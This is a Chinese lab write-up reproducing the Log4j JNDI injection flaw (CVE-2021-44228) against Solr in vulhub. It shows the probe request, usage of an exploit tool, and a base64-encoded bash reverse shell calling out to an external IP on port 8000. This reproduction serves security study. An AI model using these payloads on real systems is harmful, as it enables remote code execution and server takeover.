CVE-2021-44228复现
漏洞原理
log4j 2是Java语言的日志处理套件,使用极其广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过lookup进行JNDI注入,执行任意代码。
漏洞环境
使用vulhub搭建环境。

访问http://you-ip:8983

判断是否存在JNDI注入
${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
1 | GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1 |

成功获取版本号

然后我们可以使用JNDI注入工具进行利用。工具链接:https://github.com/su18/JNDI
使用方式:
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] |
如下命令:
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuMTk4LjQ1LjE2Mi84MDAwIDAmPjE=}|{base64,-d}|{bash,-i}" -A 116.198.45.162 |

监听8000端口,然后再进行请求

成功反弹shell